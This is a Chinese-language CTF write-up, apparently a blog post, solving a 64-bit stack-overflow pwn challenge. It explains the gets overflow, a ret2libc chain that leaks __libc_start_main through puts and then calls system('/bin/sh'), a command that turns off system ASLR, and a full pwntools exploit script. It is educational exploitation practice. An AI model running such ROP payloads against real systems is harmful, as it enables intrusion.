0%

CTF-栈溢出PWN

工具集

​ IDA, gdb & pwndbg, checksec, pwntools, LibcSearcher

漏洞点

拿到程序后用checksec看,64位ELF,发现没有主程序canary,NX以及ALSR

1
2
3
4
5
6
7
8
9
10
11
12
[*] '/home/ctf/pwn/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ctf/pwn/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

vul

开IDA看反编译,轻松找到漏洞点位于vul函数中的gets,在输入0x70个字节后可能存在溢出,函数的栈大概长这样,注意64位下每个地址占8个字节

    +-----------------+
    |     retaddr     |
    +-----------------+
    |     saved ebp   |
ebp->+-----------------+
    |                 |
    |                 |
    |                 |
    |     0x70        |
    |                 |
    |                 |
var->+-----------------+

通过写0x70+8个字节后可以写到函数的返回地址,这是一个操纵点。但是由于程序本身函数并不多,所以只能通过调用libc中的函数。通过题目给出的libc可以得到各个函数相对地址,在ALSR关闭的情况下它们的实际相对地址不会改变。

泄露libc

因此第二步就是想办法泄露其中一个函数的绝对地址,这里用__libc_start_main为例,需要泄露出其在PLT表上的真实地址。

plt

考虑到我们能用于显示的函数只有puts,模仿main函数内调用它的过程,需要将欲要打印的字符串指针送入RDI寄存器,这个时候需要在程序中找到pop rdi并返回的gadget,修改完成寄存器后返回调用puts,最后为了维持控制还需要返回main。这里查找gadgets部分操作可以用pwntool的ROP模块完成。

有一个坑是题目为了降低难度ELF和对面服务器是默认关闭了ALSR,但是在本机上测试时系统的全局ALSR打开将会覆盖该设置,为此需要临时关闭系统的ALSR

1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

上面说的整个泄露libc地址的rop链应该是这样的

1
rop = "A"*0x70 + "A"*8 + p64(POP_RDI_ADDR) + p64(LIBC_START_MAIN_ADDR) +  p64(PUTS_ADDR) + p64(MAIN_ADDR)

PWN!

接下来根据泄露出的地址计算出libc中函数的偏移地址,找到system函数以及"/bin/sh"字符串,通过刚才的gadget将字符串指针传入RDI后调用system即可起shell。rop链如下

1
payload = "A"*0x70 + "A"*8 + p64(POP_RDI) + p64(BIN_SH_STR_ADDR) + p64(SYSTEM_ADDR)

查找rop可以在脚本里完成,也可以用ROPgadget预先查找,完整脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import time
from pwn import *
from LibcSearcher import LibcSearcher

elf = ELF("./pwn1")
libc_elf = ELF("./libc-2.23.so")

rop = ROP(elf)

PUTS = elf.plt['puts']
LIBC_START_MAIN = elf.symbols['__libc_start_main']
MAIN = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]

log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))
log.info("RET gadget: " + hex(RET))

base = "A"*0x70 + "A"*8

rop = base + p64(POP_RDI) + p64(LIBC_START_MAIN) + p64(PUTS) + p64(MAIN)

r = process("./pwn1",env={"LD_PRELOAD" : "./libc-2.23.so"})

r.sendlineafter("!", rop)
r.recvline()
r.recvline()
recieved = r.recvline().strip()
leak_addr = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, __libc_start_main: %s" % hex(leak_addr))

libc_elf.address = leak_addr - libc_elf.sym["__libc_start_main"]
BIN_SH_STR_ADDR = next(libc_elf.search("/bin/sh"))
SYSTEM_ADDR = libc_elf.sym["system"]

log.info("bin/sh string:%s " % hex(BIN_SH_STR_ADDR))
log.info("system entry:%s " % hex(SYSTEM_ADDR))

payload = base + p64(POP_RDI) + p64(BIN_SH_STR_ADDR) + p64(SYSTEM_ADDR)
r.sendlineafter('!', payload)
r.interactive()

其实这题作为我第一次PWN还是比较有难度的,不过攻克之后的成就感我至今都难忘。